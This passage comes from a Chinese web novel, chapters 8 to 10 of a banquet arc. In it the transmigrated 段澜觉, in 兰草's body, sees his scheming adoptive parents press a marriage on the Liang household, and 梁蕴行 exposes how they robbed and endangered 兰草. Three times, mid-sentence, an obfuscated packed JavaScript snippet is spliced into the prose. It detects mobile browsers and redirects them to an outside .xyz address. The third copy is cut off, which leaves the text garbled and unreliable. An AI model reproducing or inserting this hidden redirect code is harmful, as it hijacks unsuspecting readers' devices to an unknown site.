他抬起头,嘴角的笑意不减,“恩公昏迷不醒,我同官人却只能奉翰林院之命在外游学,实是心挂念而未能归……如今见公子平复如旧,神采奕奕,我心甚安,故言语间冒昧了些,还请兰公子见谅。” “呃,没事没事,我刚刚也没听清你说了什么……” 段澜觉刚刚确实没听清黄衣男子的戏谑,只知他应该是在调侃自己。 可后面俩人的话…… 拙荆?夫妻?我同官人? 段澜觉视线在二人身上逡巡,变了好几轮脸色才将目光定格在黄衣男子身上。 “您方才说,我救了您家四弟……” 他死死盯着黄衣男子,“那您是,梁家哪位少爷啊?” “……” 黄衣男子看着他,倏忽捧腹大笑,清脆的笑声在白墙青瓦间回荡。 轮椅上的白衣男子也是一愣,随后似被黄衣男子的笑声感染,无奈地抿了抿唇。 “是蕴识未能自报家门,抱歉。” 白衣男子开口拉回段澜觉的视线,又抬起手抚上黄衣男子的手,目光清肃如竹,笃定自若。 “鄙人梁蕴识,家中行二,是蕴行的二哥。” 他拍了拍黄衣男子的手背,勾出一弯宠溺的笑,“此乃内子……柳氏慕云。” · 梁蕴行,梁老四的大名。 段澜觉在百无聊赖的养伤日子里弄清了梁家人的姓名岁数婚姻状况,唯独没问——他们的配偶是男是女。 这事儿怎么还要问呢? 邹朝一个封建王朝,官居一品的丞相大人允许儿子娶男妻已经够不可思议的了,现在你告诉他,梁相不止一个儿子是gay? 开什么国际玩笑! 而且这梁二少爷……怎么是个瘸子? 怎么瘸的?胎内不足还是小儿麻痹,还是遭遇了什么不测? 他看向黄衣男子,眸底现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337426|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一丝怜悯。 如果梁二少爷是婚前瘸的,那这男妻是心甘情愿嫁过来的吗……还是跟自己一样,受长辈逼迫,委身下嫁,只为换取家族利益? 梁二夫妇又同他说了几句话,但他心不在焉,只一味讪笑敷衍着,等真正回过神时,他已经跟着俩人进了正厅,在一张巨大的圆桌前落座。 栾夫人坐在主位,往右依次坐着兰家夫妇和他自己,朱莲正将整个身子探到桌前,把兰大勇挡了个结结实实,就为了凑近些跟栾夫人说小话。 段澜觉本无意听妇人家的家长里短,只是朱莲声如牛钟,家长里短被她扯出了国旗下讲话的声浪,震得段澜觉耳膜发酸。 更叫他震惊的是——朱莲是想把自家女儿推销到梁家做女使,还要往少爷们的院里塞? 什么玩意儿?这门亲事还没定呢,裙带关系这就拉扯上了? 而且大户人家的女使往往是奴籍或贱籍,朱莲把身为平民的女儿塞进来,有什么心思不言而喻,实在是把算盘珠子崩到梁家人头顶了,还打了好几个坑那种。 段澜觉头皮发麻,只想找个地洞钻进去,还好栾夫人身经百战不负众望,她脸上堆着笑,强行打了好几个哈哈,总算是将这档子事不咸不淡地揭了过去。 段澜觉虚惊一场,呼了口气,转眼便见二少夫人冲他抛了个眼色。 梁二夫妻正坐在栾夫人左手边,梁蕴识端着一只茶杯平静祥和地坐着,仿佛入定一般眼眸微垂,不知在忖度些什么;一旁的柳慕云逗了他一眼后便倾过身同栾世安说话,时而杏眼微瞪,时而勾唇巧笑,言语间张狂泼辣,一看便是被宠惯了的。 段澜觉没事干,好整以暇地打量着他们,只见柳慕云说着说着唇干舌燥,轻咳了一声,梁蕴识手中的茶杯便如靶向识别一般递到他嘴边,柳慕云看也不看,就着丈夫的手把茶水一饮而尽。 ……段澜觉感觉自己眼睛要瞎掉了。 行吧,刚才是他多心了,这一对儿绝对是真爱,祝99。 段澜觉移过眼,瞥见栾世安边上的位子安放着一套餐具,显然是有人还没来。 “兰家大哥,大嫂。” 栾夫人双手捻杯,忽而起身,对着兰家夫妇微一躬身,“犬子日前遭厄,险陷不测,幸得令郎仁心侠骨,舍命施救,方使其脱险归宁。” 又侧身朝段澜觉一颔首,“兰小公子此恩此德,梁家没齿难忘,今特备粗茶淡饭,邀诸位共聚寒舍,非敢言酬,惟愿略表寸心。” 栾夫人才起身,后头的小辈也跟着站了起来,梁蕴识孑然坐着,却不见半分尴尬,只挺直腰脊,举了举手中的杯子。 “公子高义,吾等不胜感念,”他道,“蕴识谨代父兄与胞弟奉薄觞一杯,敬祝尔长乐永康,福泽绵长。” “长乐永康,福泽绵长!” 柳慕云与栾世安一同举杯,笑靥真诚。 段澜觉头回见这么大阵仗,慌慌张张起身准备客套两句,不料屁股还没悬空就被朱莲摁住了肩。 “夫人且慢。” 朱莲斜着眼巡了一圈,笑道,“我怎么瞧着,这席面上除了公务缠身的诸位贵人,还少一位呐?” 8. 谢恩宴(2) “……” 栾夫人与自家人对视一眼,匆匆赔笑,“怪我怪我,一激动起来便忘了同大嫂说道。” 她扶着侍女的手落座,放下酒杯捧起朱莲的手,拍着她的手背道,“我家老四,前日傍晚收到雍丘来信,说是他的启蒙师傅张老夫子冬日里受了寒,卧床数月仍未见起色,眼瞧着便要不好了。” 栾夫人神色微黯,“我儿极重师恩,来不及同我说道便漏夜策马去了雍丘,昨日清晨才叫我知晓,我也只能由得他去。 “可这谢恩宴的日子是府里一早定下的,四司六局都已备好,我家老二和他媳妇还从扬州日夜兼程而归,请来了顶好的师傅掌厨……” 栾夫人顿了顿,莞尔一笑,“故而我擅作主张,着人如期筹备,想着若老四赶不回来,咱们两家先说说话也是好的,等下回人齐了,咱们再补上一席,也不算失了礼节。” 栾夫人这番话说得圆滑周到,叫人挑不出任何毛病,梁家人纷纷应和,兰大勇也连连点头,乐呵道,“无妨,无妨。” “是嘛?” 朱莲瞪了兰大勇一眼,脸上的笑纹更深了些,显得有些瘆人,“我还以为四少爷是怕了我们家人,不敢来见我们呢。” “大婶,您说的什么话?” 柳慕云见朱莲的手仍然按在儿子肩上,心知她是不肯给栾夫人面子,故而也不想充什么客套,放下酒杯款款落座。 他没好气地挑起一双杏眼,眼底掠过一丝不屑,“难不成,还疑心咱家编了个幌子骗您不成?” “哟,我可没这么说,二少夫人不好这么编排我老婆子的。” 朱莲终于松开按住段澜觉的手,腰一踏双手一抱,“可话又说回来了,前些日子夫人明明同我们说好,要趁今日宴席让两个孩子相看相看,再择个日子把事情办了。眼下四少爷偏偏不在——” 她顿了顿,故意叫众人听清最后一句,“那夫人当日说的话,还算数吗?” “大姐,我那日只说……” 栾夫人一谈起这门亲事便皱了眉,再对上朱莲挑衅的目光,一时竟不知如何应答。 柳慕云不知内情,闻言也有点怔,朝丈夫递去一个眼色,梁蕴识神思微动,片刻露出一个颇为无奈的笑。 天崩开局啊这是…… 段澜觉手已经搁在酒杯上,见状彻底放弃起立,抓了个酒杯默默缩回来,一边嘬酒一边在心里叹气。 栾夫人大概率只答应过朱莲,让自己和梁老四先见一面,彼此熟悉起来再说后续的事。 不料朱莲直接将了她一军,坦坦荡荡曲解了她的意思,还当着众人的面信口雌黄…… 这样一来,栾夫人就是有八张嘴也说不清了。 若驳斥她,那身为恩人的段澜觉就丢了面子,好似梁家拼着和村妇扯皮也不愿接纳他。 若不驳斥…… 那朱莲就会顺杆子爬,一直爬到梁家的屋顶上耀武扬威。 段澜觉边咂摸着杯中的酒边想:他的这对养父母不简单啊,虽是大字不识的乡下人,兵法用起来却一套一套的,当真是高手在民间。 朱莲见没人应和也不吭声,自顾自端起茶杯喝了起来,颇有一副“不给我个说法我必不善罢甘休”的架势。 对座的栾世安则拼命在向段澜觉使眼色,露出小狗般乞求的眼神,仿佛在说——是兄弟就出来帮咱挡一刀。 兄弟,我是想出来挡一刀的。 但你确定这个形势我跳出来,不会给你们家多拼几刀吗? 众人鸦默雀静,气氛降至冰点之际,一阵急促的风自院外呼响而过,掠起一片翠盖朱锦。 一个灰白色的身影自宴清堂外若隐若现,一眨眼便至正厅门前,行踪缥缈,步若虚尘。 众人被突然出现的人影吓了一跳,纷纷回身去看,面上竟不约而同地带上了喜色。 段澜觉不明所以,探头去看,顷刻呼吸一顿,擦手的巾子掉到了桌面上。 是他??? 男人跨过门槛,顿足拱手,朝栾夫人和兰家夫妇的方向行了个大礼。 “蕴行来晚了,敬问母亲金安,二位长辈福安。” “蕴行,你回来了!” 栾夫人眼中的惊喜不似早知,连忙让仆人搀着自己上前去迎。 梁蕴行似乎没料到母亲如此热络,如冰山般硬朗的脸露出一瞬惶然,匆忙迎上去,从仆奴手中接过母亲的玉臂。 “三日一来回,路上一定很辛苦,”栾夫人拍了拍他肩上的浮尘,眼底满是忧心,“怎么不多待些时日,张夫子那边如何了?” “夫子殁了。” 梁蕴行面色凝重,语气却依旧温和恭敬,“信送得晚,儿子只来得及祭拜夫子的头七。” “原来如此……” 栾夫人面露遗憾,“张夫子生前对你多有挂念,若能早些告知咱家,咱家也好将他接入京中,寻太医为他诊治……” “好了好了,莫要再留恋已逝尊长了。人也去了恩也报了,四哥儿回来就好,回来就好。” 朱莲探出半个身子冲母子二人喊话,她入府这些日子才见过梁蕴行一面,其间遍寻不得,直至今日才来得及打量他的样貌身段,只觉得这准姑爷怎么看怎么满意,欢喜之情溢于言表。 梁蕴行被强行打断了也不恼,只淡淡地扫了朱莲一眼,再扫过只识傻笑的兰大勇,最后落到段澜觉身上。 二人目光对上,段澜觉只觉手脚冰麻,浑身血液都往脑门涌了上去。 看看看……看个锤子! 一个骗子还敢看他,有什么好看的!这破席赶紧散了得了! 段澜觉眼中刷地燃起两座火山,熊熊烈焰下一秒便要喷薄而出。 不是,这人到底在搞什么飞机……堂堂梁家四少跑去挑水施肥,这是什么很新的管培生实践吗? 总不能是为了刻意在湖边偶遇、戏弄他吧! 段澜觉倏忽想起什么,脖子向后拧出一个诡异的大角度。 四喜正白着脸站在他身后,额角的冷汗藏也藏不住,密密麻麻地渗了一脑门子。 他似乎察觉到段澜觉在看他,却不敢直视,只好戚戚然偏过脸,目光闪躲。 骗子,骗子…… 梁家全特么是骗子!亏得自己刚刚还在想怎么替他们解围! 段澜觉心底突然冒出一个阴暗的想法:就听朱莲的,攀着梁家的高枝往上走又如何? 风风光光嫁入梁家,利用他们的金钱和地位为自己铺路,然后为非作歹,把什么夫妻情分朋友兄弟通通抛在脑后…… 他就挟恩图报怎么了,梁家又能奈他何! ……可这念头只存在了短短一瞬。 看着朱莲对梁蕴行嘘寒问暖的谄媚模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337427|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再看看梁蕴行那拒人于千里之外的表情,段澜觉忽而感觉十分心累。 他深深吸了口气,抬起手想夹点吃的,手中银箸却被人温柔地夺了去。 “公子……让小的为你布菜吧。” “不用你管。” 话虽如此,段澜觉却没力气伸手抢,只静坐着瞪着四喜给他忙前忙后。 憋了一肚子气,他还是忍不住问,“为什么骗我?” 眼下主角到场,众神归位,无关人士皆起箸用饭,仿佛方才的剑拔弩张皆是南柯一梦,四喜垂下眸子,压低声音说了一句,“求公子见谅,梁家仆奴无论何时何地,不得擅自透露主子的身份,这是铁纪。” “呵呵。” 段澜觉没什么表情地接过筷子,夹着鱼肉往嘴里送,嚼吧嚼吧道,“所以,罪魁祸首还是你家四少爷,对吧。” “……” 四喜抿着唇,久久才道,“都是奴才的错。” 段澜觉气得七窍生烟,又自嘲般叹了口气。 另一头,兰大勇正埋头享用着山珍海味,朱莲则如连珠炮般朝梁蕴行发问,从腰围身高到拜师束脩,恨不得连祖上三代都盘查个一清二楚。 梁蕴行漠然应付着,目光时不时在餐桌上逡巡一圈,又淡淡地转回来。 “四少爷,四少爷?” 宴清堂正厅的主桌极大,朱莲的上半身已经伸无可伸,恨不得将梁蕴行的头掰正,叫他只听自己说话。 “你读书辛苦,近旁可缺个陪读的?”朱莲拍了拍胸脯,颇为自豪道,“我有个外甥,文采非凡,性子温顺,给你做陪读那是最合适不过了……你要不,考虑考虑?” “……” 栾夫人捻起丝帕轻抿自己的嘴,栾世安瞪着一双无辜的圆眼左看右看,梁老二不动声色,柳慕云则极为不屑地轻笑了一声。 梁蕴行面无表情,“我读书并不辛苦,有劳长辈费心了。” “诶!” 朱莲被拒了也不尴尬,忙道,“四少爷莫要同咱客气,都快是一家人了,再说读书哪有不辛苦的?有个人在旁边伺候笔墨,切磋琢磨,闲暇时还能对酒当歌,谈论诗词,多有意思啊……对吧老头?” 她胳膊肘撞了撞兰大勇,兰大勇停下嘴,鼓着腮帮子应和道,“嗯,嗯!没错!” 梁蕴行闻听此言,平静无澜的脸上终于有了一丝变化。 他眯了眯眼,沉吟片刻才道,“那我为何不与兰兄弟一块,切磋琢磨呢?” 段澜觉正在疯狂往嘴里塞糕点,闻言顿了顿,撩起眼再度和梁蕴行的视线对上。 兰什么兄弟……谁是你兄弟! 说别人就说别人,扯上我干嘛? “哎呦,我家兰草儿目不识丁,是个干粗活儿的,哪里能伺候四少爷读书?” 朱莲腆着脸摁头安利,“还是我那外甥好!长得又俊,还会读书,一定能伺候好四少爷。” “噗呲——” 对座传来一声嗤笑,段澜觉眼珠一转,正好和柳慕云那双俏丽的眸对上。 “听兰大婶这番话,是觉得兰哥儿配不上我四弟么?” 见藏不住了,柳慕云索性也不装文静了,他甩了甩袖子,撑着半张脸看着段澜觉,端得是一副风流倜傥。 “可怜的兰哥儿哟,不知道的,还以为那位外甥才是亲儿子呢!” 9. 谢恩宴(3) 梁蕴行风尘仆仆归来时,偌大一个宴清堂,他第一眼看见的,居然是居于里位上宾之座的兰家少年。 他对那人的第一印象实则非常模糊。 误坠猎户陷阱那夜,暗无边际的夜幕裹挟丛林,即使明月高悬,星辰漫天,依然透不进一丝光线。 那人不知从哪里钻出来的,搭救他时连句话都说不清楚,结结巴巴只晓得伸长手臂,还救人不成,反把自己搭了进去。 幸而这人布囊中还藏着把锄头……梁蕴行拖着伤腿借力攀援,好不容易将自己和那少年从深窟中带出,却因失血过多,力竭晕倒。 待他醒来时,二人皆已被救回梁府,他坐着二哥特制的轮椅前去探望,这才瞧见了那少年的真面目。 床榻上的人肤色苍白,脸上蒙着一层灰蒙蒙的死气,乍一看十分惨淡。 然则他眉目浓墨重彩,仿佛天公执笔,在雪山上画就了一张墨梅青松图,微薄的下唇紧紧贴着上唇,鼻尖小而圆润,瞧着是个实心的人。 彼时,梁蕴行怀揣知恩图报之心,即便拄着拐也要隔三岔五过来探望,直到梁府家丁寻着兰家夫妇,接他二人入了府…… 那夫妇的态度甚是怪异,得知独子还有机会苏醒,竟未过多在意他的康健,也不求金银珠宝,坦荡前程,只道:“听说你家四少爷尚未婚配,欲选一男子为正妻——” 他想不明白,这样一个舍己为人的少年,怎会有如此冷血冷心,欲壑难填的爹娘。 于是再也没踏足过那爿客舍。 后来知晓他醒了,似乎是失了忆,梁蕴行也不是没愧疚过,只是每每走到客舍前便想起那对夫妻卖儿鬻女的嘴脸,生生止了脚步。 终是无法再以寻常之心面对。 直至那日晌午,观鹤亭边。 那日他本是无意撞见,却心念一动,隐藏身份,欲从那人口中探听他父母的盘算。 不料听来一耳朵奇谈怪论,叫他好生困惑的同时也知晓了——他从未看错那少年的为人。 然则市侩之家养出一颗赤子之心,犹如污糟烂泥地生出一朵七彩圣莲,虽百中有一,却不得不叫人生疑。 梁蕴行抿了抿唇,瞥见少年经柳慕云提点后,突然现出的怔愣神色。 那口糕点迟迟未吞,堵在他腮帮子里越涨越大,莫名把梁蕴行的心情也堵死了。 他忽觉烦闷,端起冷酒一饮而尽,耳边再度传来朱莲的冷哼。 “二少夫人这话说得好笑,我儿子没念过书,我怕他同四少爷在一起没什么话可说,特意引荐他表哥来同四少爷作伴,怎么就成了偏心了?” 她又看向栾夫人,手背敲着手心,做出无奈的模样,“夫人,你评评理,我说的哪句话不是为了四少爷,为了我儿子?” “为了四弟和你儿子?” 柳慕云忽而蔑笑一声,掷地有声质问道,“你若真为了你儿子好,为何不送他上学堂,叫他读书认字?又为何让他独自入深山老林,身上只带了一把破破烂烂的小锄头,连口干粮都没带?” “我,你——” 朱莲似未想到远在扬州之人也通晓如斯细节,面上一慌,着忙反驳道,“我们家穷!没钱送兰儿念书!他想挣点钱贴补家用,是背着我们夫妇俩独自到林子里采药的,什么叫我们让他——” “哦?是嘛!” 柳慕云阴阳怪气地截了她的话茬,“可我怎么听说,府里派人去寻你夫妇当日,你家长女正在屋里选嫁妆?说是,绫罗绸缎铺了满地,金银首饰堆了一桌……” 朱莲的脸色霎时一白。 “这些钱虽不及相府一二,但我想,若能从指缝中漏出点儿来交给乡间学堂,也不必叫兰哥儿睁眼抓瞎吧!” 柳慕云字字珠玑,叫朱莲哑口无言,一旁的兰大勇也从酒醉肉迷的状态中清醒过来,猛地瞪凸了眼。 梁蕴行又啖了口酒,默不作声地旁观柳慕云拆台,余光却不自觉留意那少年的神情—— 好似没有什么变化。 少年只呆滞了片刻,随后便像个封闭了五感的木娃娃般照常吃喝,连眼皮都不屑于往上撩一下。 “二少夫人这都是从哪里听来的话,这都是污蔑,污蔑!” “污蔑?谁闲得没事污蔑您二位?梁府大管家亲自去请亲眼瞧见,人证物证俱在,你还能抵赖不成?” “没有这回事!” “怎么没有!” “……” 二人越吵越烈,梁蕴行收回余光,又倒了杯酒,视线正巧同梁蕴识碰上。 见梁蕴识唇角微勾,他端起酒杯,隔空一点—— 谢了,兄长。 他从一开始便猜到,柳慕云同朱莲公开叫板,背后定是二哥的手笔。 他家二嫂虽爽朗仗义,却心比天宽,哪里会关心小少年有无读书,兰家夫妇又给谁置办了多少嫁妆……这一应事实与推断,只有他心思缜密,条分缕析的二哥才能做到。 只是二哥为人清风朗月,有些腌臜人腌臜事,怕是连他那颗七窍玲珑心都未曾想到过。 “你什么意思,你什么意思!” 朱莲猛一敲桌,野猪般的厚嗓彻底震碎了宴清堂的宁静,将所有人的视线强行聚拢于自己身上。 她梗着脖子,哆嗦着手指指向柳慕云,“好啊,好啊……你堂堂梁家二少夫人,不信你未来的亲家,倒信那一帮子下人乱嚼舌根?你们,你们这是合起伙来,欺负我老太婆没权没势!” “欺负你?我欺负你什么?” 柳慕云看着她失控的嘴脸,叉起胳膊皮笑肉不笑,“是揭穿你家有银子却不愿花在儿子身上,把他当傻子当外人的事实……还是道破你欲将外甥塞到我家,做我四弟妾室的龌龊心思?” “你……你!”朱莲气急了眼,当下便口不择言,声如洪钟,“你分明是善妒!” “善妒?” 柳慕云不明白她是如何扯到这两个字的,一时云里雾里,尖牙利嘴竟卡了壳。 朱莲以为他被自己吓住,乘胜追击道,“二少夫人,你不用做出这般仗义执言的模样,我知道你存着什么心思。 “你一直把持着二少爷,不叫他纳妾,也不许他弟弟们纳妾,此事人尽皆知! “你去外头打听打听,有多少人笑话二少爷是妻管严?他们还给你起了个别称,叫你,叫你——” “叫他什么?” 梁蕴识由始至终未发一语,乍一出声便如定海神针,叫整个宴清堂短暂地肃静了一瞬,也把一直埋头干饭的段澜觉唤回了神。 他在这片瘆人的宁静中放下筷子,抬头扫视一圈,眉头皱起一个深深的“川”字……看吧,他刚说什么来着?这破席就该赶紧散了得了。 可若是散了,他怕是被人卖了还要替人数钱呢! 段澜觉眨眨眼,从胸中抒出一口闷气。 方才他看似充耳不闻,实则字字入脑,越听越心寒——是啊,朱莲为什么一直在举荐她的亲戚呢? 原主兰草才是她正儿八经的独生子,不应该将所有资源倾斜,避着亲戚沾光吗? 一个封建朝代的独子,难道还不够格当两夫妻的心头肉吗? 这样一想,平日里被他刻意按下不表的微妙之处便一个接一个蹦了出来——比如兰朱二人鲜少在他跟前露面,除苏醒那两日外,他俩来客舍的次数比栾夫人还少些。 又比如……明明有这么多条正经致富的道路,他们却为了将利益最大化,不惜将儿子亲手送入相府,嫁为男妻。 早就存在于心中的疑影今日抽枝发芽,叫段澜觉窥见这亲情淡漠的一角。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337428|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他对这对天降的“父母”本无太多感情,但“兰草”不一样。 他占了别人的身子重生,总该给原主一个交代,一个真相。 眼下朱莲见梁蕴识开口,声势稍弱了些,心气却丝毫不减。 见诛心无效,她调转话头满口喷脏,各种粗鄙之言不要钱似的往外蹦,听得众人连连皱眉,连段澜觉自己都听不下去了。 他轻咳两声,偏过身子搀上朱莲的圆膀,“娘,您说什么呢……您是不是喝醉了?” 又看向一脸无措的栾夫人,露出一个安抚的笑,“夫人别介意,我娘她酒量不佳,一喝醉就不知道自己在说些什么了……我替她敬二少夫人一杯,给二少夫人赔个罪吧!” 说着便要起杯敬酒,却被一直闷不吭声的兰大勇劈手拦了下来。 “赔什么罪,你赔什么罪?你怎么这么窝囊!” 兰大勇一改往日憨厚和蔼的模样,怒不可遏地瞪着段澜觉,“打小就是这副要死不死的模样,真晦气……我一见你就来气!” 段澜觉一愣,低眼看了下兰大勇席边东倒西歪的空杯子—— 朱莲喝没喝醉他不知道,但兰大勇却是杯不释手,竟喝空了一整坛“醉三秋”! “哼,事已至此,咱们也不必藏着掖着,便把话说开罢,嗝!” 兰大勇打着酒嗝,满脸横肉透出不正常的红,隐有一股匪气显露其间。 他看向栾夫人,毫不客气发问,“我们夫妇入府也有一月多了,梁大夫人,你今日给我一句准话,梁家到底何时到我家提亲,迎娶我儿?” 见栾夫人沉默,兰大勇又打了好几个嗝,突然翘嘴一乐,“我就知道……我就知道! “你们这群有权有势的世家贵眷,压根瞧不上我家!瞧不上我兰大勇!” 栾夫人吓得连连摆手,仍试图博一个体面,“兰大哥,梁家没有这个意思——” “没有这个意思?我呸!” 兰大勇将这递来的台阶摔得稀碎,“你们大户人家就喜欢充脸面,一边赚着知恩图报的名声,一边寻各种法子拖着我们,就为了让你儿子寻个门当户对的,好打发我儿去做牛做马,为奴为妾!” 他越说越激动,忽而振臂高呼,“我告诉你们,我儿子,舍命救了梁家四少爷!那是救命之恩,那是再造之恩!” 他指了指自己,又指了指段澜觉,“没有我,嗝,就没有我儿子!” 又将手猛地一伸,直指栾夫人,“没有我儿子,就,就没有你儿子!” 砰!!! 梁蕴行突然夹着酒杯往桌上重重一拍,阴着脸撩起眼,与兰大勇直直对上。 “长辈请自重。” 他盯着兰大勇的手指,义正辞严道,“我母亲乃一品诰命夫人,身份贵重,便是后宫娘娘也要对她礼让三分,请长辈——” “别拿后宫娘娘来压我!你这小鳖孙……我哪句话说得不对?” 兰大勇手指又换了个方向,恨不得隔空把梁蕴行的脑袋戳出一个洞来,“你,嗝,你同我说句实话,你是不是不想报恩,不想应承这门亲事?是不是! “是不是想,过河拆桥,恩将仇报,忘恩负义——” 啪!! 瓷片碎裂的刺响惊得众人一抖,将兰大勇的成语接龙活生生掐断在喉咙里—— 竟是梁蕴行生生捏碎了手里的酒杯! 众人哗然。 梁蕴行抬起冷峻的眸,眸底酝酿着森冷的鬼火,须臾才淡淡开口,“今日,我本不想拆你夫妇二人的台。 “奈何你二人欺人太甚,指鹿为马,倒打一耙。” 他看向兰家夫妇,阴寒的目光似从地狱裂隙中射出的一根冷箭,顷刻间穿透了二人的脊梁。 “过河拆桥的是你们,恩将仇报的,亦是你们!” 10. 谢恩宴(4) 梁蕴行声线低沉,本不具备号令千军万马的魄力。 但这句话一出口,宴清堂霎时陷入一阵诡异的寂静,众人齐齐看向兰、朱二人,眼底情绪纷繁复杂,心思各异。 少顷,一声穿透耳膜的嚎叫响起,“你——放——屁!” 兰大勇瞪凸了眼,涨红了脖子口水狂喷,“谁过河拆桥,恩将仇报?我们拆哪座桥,承谁的恩,啊?” 梁蕴行用帕子净了手,从容起身,高大的体魄如山间劲松般压迫着众人的视线。 “那便请二位回答我如下问题。”他道。 “是谁将他已故双亲的家产悉数蚕食,却叫他终日吃糠咽菜,目不识丁? “又是谁,换掉了他背囊中的锋利农具,压下他的口粮,只为叫他在荒山野岭中走投无路,自生自灭?” 梁蕴行似乎极少如此慷慨陈词,冷酷的声线至此终于有了一丝起伏。 “你们扒在他身上,喝他的血啖他的肉还不知足,还要把梁家也一并拉下水……当真以为,全天下人皆是傻子么?” “……” 众人皆讶异不已,纷纷屏住呼吸,视线却不约而同投向梁蕴行话中代指之人—— 段澜觉不知何时站了起来,目光晦暗,只觉一股寒气顺着脚底板往上蹿,阴嗖嗖地侵蚀着他的每一寸皮肤,寒意直达天灵盖。 果然…… 那一切便说得通了。 可即便这养父母贪图兰草家的财产,又何至于……把人逼到死路上? “你,你……你无凭无据!你血口喷人!!” 朱莲突然失控,从凳子上蹿起来,伸长了手指着梁蕴行的鼻子骂,“你为了摆脱这门亲事,竟挑唆我母子二人的感情,还栽赃诬陷!你简直是仗势欺人,有损阴德!” 说着又突然掩面大哭,一边哭一边骂,蓦地还扇了自己两耳光,随后一把栽倒在段澜觉身上。 段澜觉猛然回神,赶紧撑住朱莲,只觉自己的腰都快闪了。 她伏在段澜觉的肩窝,一把鼻涕一把眼泪哭诉,“儿啊,是爹娘对不住你啊!娘本想给你寻个好人家,叫你后半辈子衣食无忧,万万没想到这梁家是个虎狼窝啊……” 兰大勇的醉意早就散了,见朱莲一哭二闹,他当下也砸了杯子,视线顺着席面逐个扫了过去,脸上横肉紧绷颤抖。 “你们,你们忘恩负义,还血口喷人……好,好!我今日便上天门大街去,我要请全汴都的老百姓,请京城里的官家、贵人们,为我兰家主持公道!” 说着一甩袖子就要往外走,却被两个身手矫健的府卫并身拦住。 “你们想干嘛!” 兰大勇挥舞着手臂,仿佛那两名府卫已经对他进行了精神上的五花大绑,“你们敢对我下手?反了天了!” 见硬闯不成,他回过身恶狠狠地盯着梁家众人,“我告诉你们,你们今日若动我分毫,明日我闺女就能让全京城看你们梁家人的笑话!你们给我等着!” “你闺女?” 柳慕云敏锐地意识到不对,连忙起身怒斥,“你要做什么?” “哼,怕了吧!我就知道你们这种大户人家最要面子,所以早早地把小闺女安置在京城!一旦老子出事,断了消息,她便会即刻现身,把梁相一家过河拆桥、背信弃义之事闹大,闹得人尽皆知!” 兰大勇自以为胜券在握,也不着急走了,叉着腰蔑笑着看着众人,“你们敢耍老子……我要你们好看!” 栾夫人闻言脸色骤变,气得捶胸顿足,“你,你们怎能,如此无耻……” “无耻的是你们!” 兰大勇呸了一声,“梁大夫人,横竖也撕破脸了,我劝你们识相些,赶紧把婚书过了,什么问名纳吉能省则省,再寻个最近的好日子登门过聘吧!若你们再——” “你做不到。” 梁蕴行伸出手,按在已经慌了神的栾夫人背上,同时挑目冷对,“令嫒现下已不在京中,没法替你散布谣言了。” “……你说什么?” 朱莲一直伏在段澜觉身上哭嚎,直至此刻才抬起头,面上露出一丝慌乱,“你对我闺女做了什么?” 梁蕴行淡淡扫了她一眼,抿唇不应。 局势陡变,夫妻二人怔忡片刻,竟齐齐动身向梁蕴行袭来。 “你还我女儿,还我女儿!” “你这杀千刀的小瘪三,老子劈了你——” 府卫再一次眼疾手快地制住了兰大勇,兰大勇挣了挣没挣脱,只好寄希望于朱莲那头——却见朱莲也没能凑上前去。 她被段澜觉死死扣在手中,动弹不得。 “你要干什么?你要干什么!” 朱莲扭动肥壮的身躯,对段澜觉大喊大叫,“她是你妹妹,你的亲妹妹啊!你怎么能眼睁睁看着她被人糟践!” “你冷静一点。” 段澜觉眉头皱得很深,想喊“娘”又不知从何喊起,只好干巴巴劝阻,“梁四……少爷要是想对你闺女做什么,也不用等到现在,他只是——” “他只是什么?我冷静什么?那可是我亲姑娘!” 朱莲挣得脸都红了,一边声泪俱下一边跺脚,“我十月怀胎生的姑娘现在下落不明,你让我怎么冷静,怎么冷静啊!” “我知道,你……” “你不知道!我要让他把我女儿还回来,立刻还给我!” 朱莲挣扎越发激烈,口中呜里哇啦叫唤不止,段澜觉被她弄得满身大汗,突然烦不胜烦,被压抑了许久的怒气“噌”地冒了上来。 “别动了!操!” 他骤然松开手,对一把栽倒在地的朱莲扬声怒吼,“那我呢?兰草呢!兰草不是你亲生的儿子吗!!!” “……” 段澜觉吼完,脑子里短暂闪过一丛白光。 他知道他不该这么说,这话漏得跟筛子似的……但这句话憋在胸口一晚上了,如果不说出来,这堆人精里最先爆体而亡的绝对是他。 他缓缓退出几步,在一片被震慑的沉寂中扫视朱莲和兰大勇。 他突然觉得这两副嘴脸极其陌生。 是了,即便都是养父母,人与人之间也是不同的。 他的养父段越会送他手电筒,会抱着他在玉石堆里打瞌睡,会在盘山公路上边开车边给他唱粤语童谣。 而这对夫妇黑心黑肝,夺了兰草的家产还不够……还想让他永远消失在世上。 